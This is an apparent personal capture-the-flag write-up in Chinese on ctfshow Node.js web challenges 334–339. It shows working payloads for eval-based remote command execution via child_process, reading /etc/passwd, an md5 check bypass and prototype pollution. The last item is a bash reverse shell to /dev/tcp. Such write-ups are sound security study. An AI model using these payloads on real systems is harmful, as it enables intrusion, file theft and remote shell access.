web 334
下载源码.zip
#user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
代码审计
账号:CTFSHOW
密码:123456
关键
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
只有return 1 => user=1 => 条件成立,才可以弹出flag
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
所以账号变为小写ctfshow
即可满足条件
web335
?eval=
同样的express框架
输入数字有回显 输入字母返回404 找不到文件
猜测语句是 eval('console.log(xxx)')
关于rce只找到读取文件:
/?eval=res.end(require('fs').readFileSync('/etc/passwd').toString())
nodejs命令执行语句:
语句[1]
#execSync
?eval=require( 'child_process' ).execSync( 'ls' )
?eval=require( 'child_process' ).execSync( 'cat fl00g.txt' )
#spawnSync
?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl00g.txt' ] ).stdout.toString()
#fs模块读取文件
/?eval=require('fs').readFileSync('fl00g.txt')
/?eval=res.end(require('fs').readFileSync('fl00g.txt').toString())
语句[2]
global.process.mainModule.constructor._load('child_process').exec('calc')
知识点【1】:
fs模块和child_process模块
fs模块:
可以用来读取文件以及查看目录
const fs = require('fs')
try {
const data = fs.readFileSync('/Users/joe/test.txt', 'utf8')
console.log(data)
} catch (err) {
console.error(err)
}
payload:
/?eval=require('fs').readdirSync('.') 查看当前目录
/?eval=require('fs').readfileSync('fl00g.txt') 读取文件
child_process模块:
child_process:简单来说就可以理解成 具有命令执行的模块
/?eval=require('child_process').execSync('ls')
知识点【2】
web336
前面的两道exec都tql
判断过滤了exec
用语句2
/?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
/?eval=require( 'child_process' ).spawnSync( 'cat', [ 'fl001g.txt' ] ).stdout.toString()
web337
源码:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
payload:
?a[x]=1&b[x]=2
错误解法:
这样传的时候相当于创了个变量a=[1] b=[2]
?a[]=1&b[]=2
a=[1]
b=[2]
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
结果是1flag{xxx}和2flag{xxx}
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是 [object Object]flag{xxx}
所以md5值也相同
web338
nodejs 污染链
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的__proto__属性,指向类的原型对象prototype
- JavaScript使用prototype链实现继承机制
copy相当于merge
req.body就是post参数
secert.ctfshow==='36dboy'
构造
{"__proto__":{"ctfshow":"36dboy"}}
payload:
{"username":"123","password":"123","__proto__":{"ctfshow":"36dboy"}}
web339
api.js
Function(query)(query)可以执行query对应的指令,我们可以使用变量覆盖,将query的值作为反弹shell的点。
没太理解
预期解
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"')"}}